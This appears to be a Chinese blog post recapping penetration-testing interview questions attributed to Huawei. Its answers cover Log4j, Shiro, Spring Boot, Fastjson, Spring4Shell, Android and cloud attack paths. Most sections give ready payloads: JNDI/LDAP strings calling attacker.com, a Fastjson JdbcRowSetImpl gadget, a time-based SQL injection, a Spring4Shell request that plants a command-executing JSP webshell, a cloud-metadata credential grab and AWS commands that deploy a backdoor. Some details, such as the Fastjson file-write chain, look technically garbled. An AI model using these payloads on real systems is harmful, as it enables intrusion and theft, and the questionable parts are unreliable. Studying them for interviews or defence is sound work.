2025年渗透测试面试题总结-某华为面试复盘 (题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

华为

[一、Log4j TrustedBase绕过技术解析](#一、Log4j TrustedBase绕过技术解析)

(一)TrustedBase机制原理

(二)实战绕过方法

(三)防御升级方案

[二、Spring Boot + Shiro渗透路径](#二、Spring Boot + Shiro渗透路径)

[(一)Shiro RememberMe反序列化](#(一)Shiro RememberMe反序列化)

[(二)Spring Boot端点利用](#(二)Spring Boot端点利用)

(三)联合攻击链

三、Fastjson版本指纹识别

(一)特征检测法

(二)版本差异表

四、Fastjson文件读写Gadget链

(一)利用链构造

(二)漏洞原理

五、后台登录框渗透矩阵

(一)综合攻击面

(二)高级利用

六、Spring4Shell漏洞全解

(一)漏洞原理

(二)检测方法

(三)武器化利用

七、安卓系统RCE攻击矩阵

(一)四大攻击面

八、云环境移动端APP渗透

(一)云服务攻击路径

(二)混合利用链

防御体系构建建议


华为

复制代码
log4j如何绕过trustdebase
Springboot+shiro环境如何进行渗透
如果判断fastjson的版本
Fastjson文件读写gadget是哪条,原理是什么
给一个后台登录框有什么利用思路
SPring4shell 原理&检测&利用
安卓系统如何进行rce,有什么思路
给一个移动端的app,已知服务端是clund环境,有什么思路利用

一、Log4j TrustedBase绕过技术解析

(一)TrustedBase机制原理
复制代码
java`// Log4j 2.15.0+ 信任域配置 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); System.setProperty("log4j2.formatMsgNoLookups", "true");`

该机制限制JNDI只能从信任域加载类,但存在多种绕过方式:

(二)实战绕过方法
  1. LDAP重定向攻击

    复制代码
    ldap`ldap://attacker.com:1389/RedirectTo=http://secondary-server.com/Exploit.class `
    • 利用LDAP服务端配置重定向到非信任域
  2. JNDI上下文环境污染

    复制代码
    java`System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");`
    • 通过其他漏洞修改运行时环境变量
  3. 本地ClassPath注入

    复制代码
    bash${jndi:ldap://127.0.0.1:1389/Exploit}
    • 结合本地存在的恶意类文件触发加载
(三)防御升级方案
复制代码
xml<!-- log4j2.xml 加固配置 --> <Configuration status="WARN"> <Properties> <Property name="log4j2.formatMsgNoLookups">true</Property> <Property name="log4j2.enableJndi">false</Property> </Properties> </Configuration>

二、Spring Boot + Shiro渗透路径

(一)Shiro RememberMe反序列化
  1. 密钥爆破攻击

    复制代码
    python# shiro_tool.jar 使用示例 java -jar shiro_tool.jar http://target.com/login -k 所有可能的base64密钥 
  2. 内存密钥提取

    • 通过XX:+HeapDumpOnOutOfMemoryError获取堆转储文件
    • 使用Eclipse Memory Analyzer搜索"rememberMe"关键字
(二)Spring Boot端点利用
复制代码
httpGET /actuator/env HTTP/1.1 Host: target.com # 响应示例 {"spring.datasource.password":"Admin@123"} 
  • 敏感端点
    • /actuator/heapdump
    • /actuator/mappings
    • /actuator/beans
(三)联合攻击链
  1. Shiro反序列化获取基础权限
  2. 利用Spring Boot Actuator修改数据库密码
  3. 通过H2 Database Console执行系统命令

三、Fastjson版本指纹识别

(一)特征检测法
  1. 异常触发法

    复制代码
    json`{"@type":"java.lang.AutoCloseable" `
    • 1.2.25以下版本会抛出异常
  2. DNS探测法

    复制代码
    json{"@type":"java.net.Inet4Address","val":"dnslog-attacker.com"} 
    • 1.2.24版本自动解析
(二)版本差异表
特征 1.2.24 1.2.47 1.2.68
AutoType支持 开启 半关闭 全关闭
默认关闭类型检查

四、Fastjson文件读写Gadget链

(一)利用链构造
复制代码
java`// 利用JdbcRowSetImpl触发JNDI { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true } // 文件读写利用链 { "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.FileUtils", "path":"/etc/passwd", "output":"./output.txt" }`
(二)漏洞原理
  1. 反序列化时自动调用setter方法
  2. 通过精心构造的类调用链触发文件操作
  3. 利用Java反射机制绕过类型检查

五、后台登录框渗透矩阵

(一)综合攻击面
  1. 凭证爆破

    复制代码
    httpPOST /login HTTP/1.1 ... username=admin&password=§Admin123§ 
    • 使用Cluster Bomb模式进行组合爆破
  2. OAuth劫持

    复制代码
    html<iframe src="https://target.com/login?redirect_uri=attacker.com"> 
    • 劫持第三方登录回调地址
  3. JWT密钥破解

    复制代码
    bashjwt-cracker -t eyJhbGciOiJIUzI1NiIs... -v 123456 
    • 通过已知的JWT结构爆破密钥
(二)高级利用
复制代码
httpPOST /login HTTP/1.1 ... username=admin' AND 1=dbms_pipe.receive_message('RDS',5)--&password=1 
  • 通过时间盲注获取数据库信息

六、Spring4Shell漏洞全解

(一)漏洞原理
复制代码
java// 漏洞触发点 @RequestMapping("/test") public String index(@ModelAttribute User user) { return "index"; } // 利用Payload class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i 

通过参数绑定修改Tomcat日志配置实现Webshell写入

(二)检测方法
复制代码
bashcurl -X POST http://target.com/test -d "class.module.classLoader=1" # 响应包含"ClassLoader"异常则存在漏洞 
(三)武器化利用
复制代码
httpPOST /test HTTP/1.1 Content-Type: application/x-www-form-urlencoded class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% Runtime.getRuntime().exec(request.getParameter("cmd"));%> 

七、安卓系统RCE攻击矩阵

(一)四大攻击面
  1. Intent注入

    复制代码
    xml<activity android:exported="true"> <intent-filter> <action android:name="com.vuln.ACTION"/> </intent-filter> </activity>
    • 通过隐式Intent触发敏感操作
  2. JNI动态加载

    复制代码
    javaSystem.loadLibrary("vuln_lib"); 
    • 替换so文件实现代码注入
  3. WebView漏洞

    复制代码
    javawebView.setJavaScriptEnabled(true); webView.addJavascriptInterface(new JSInterface(), "bridge");
    • 通过addJavascriptInterface暴露Java对象
  4. 第三方SDK漏洞

    • 常见于推送服务(如JPush)、支付SDK等

八、云环境移动端APP渗透

(一)云服务攻击路径
  1. 元数据服务利用

    复制代码
    httpGET http://169.254.169.254/latest/meta-data/iam/security-credentials/
    • 通过APP所在容器的元数据服务获取临时凭证
  2. 云存储桶枚举

    复制代码
    bashs3scanner scan --bucket-name-prefix prod-target 
    • 通过APP硬编码的存储桶名称发现可写存储桶
  3. Serverless函数攻击

    复制代码
    python# 通过API Gateway触发Lambda函数 requests.post("https://api.target.com/prod/v1/query", json={"action":"exec", "cmd":"id"})
(二)混合利用链
  1. 逆向APP获取API密钥

  2. 通过云服务CLI执行命令

    复制代码
    bashaws s3 cp s3://malicious-bucket/backdoor.sh /tmp/ aws lambda update-function-code --function-name ProdFunc --zip-file fileb://backdoor.zip 

防御体系构建建议

  1. 云原生安全基线

    • 启用GuardDuty威胁检测
    • 配置IAM策略最小权限原则
    • 使用KMS进行数据加密
  2. 移动端加固方案

    复制代码
    java// ProGuard混淆配置 -keep class com.sensitive.** { *; } -dontwarn okhttp3.**
    • 集成SSL Pinning防止中间人攻击
    • 使用DexGuard进行代码虚拟化
相关推荐
郝YH是人间理想21 分钟前
Python面向对象
开发语言·python·面向对象
藍海琴泉22 分钟前
蓝桥杯算法精讲:二分查找实战与变种解析
python·算法
大刀爱敲代码1 小时前
基础算法01——二分查找(Binary Search)
java·算法
IYU_3 小时前
VulnHub-Web-Machine-N7通关攻略
服务器·安全·web安全·网络安全
追风少年1553 小时前
常见中间件漏洞之一 ----【Tomcat】
java·中间件·tomcat
yang_love10114 小时前
Spring Boot 中的 @ConditionalOnBean 注解详解
java·spring boot·后端
Pandaconda4 小时前
【后端开发面试题】每日 3 题(二十)
开发语言·分布式·后端·面试·消息队列·熔断·服务限流
郑州吴彦祖7724 小时前
【Java】UDP网络编程:无连接通信到Socket实战
java·网络·udp
mqwguardain5 小时前
python常见反爬思路详解
开发语言·python
spencer_tseng5 小时前
eclipse [jvm memory monitor] SHOW_MEMORY_MONITOR=true
java·jvm·eclipse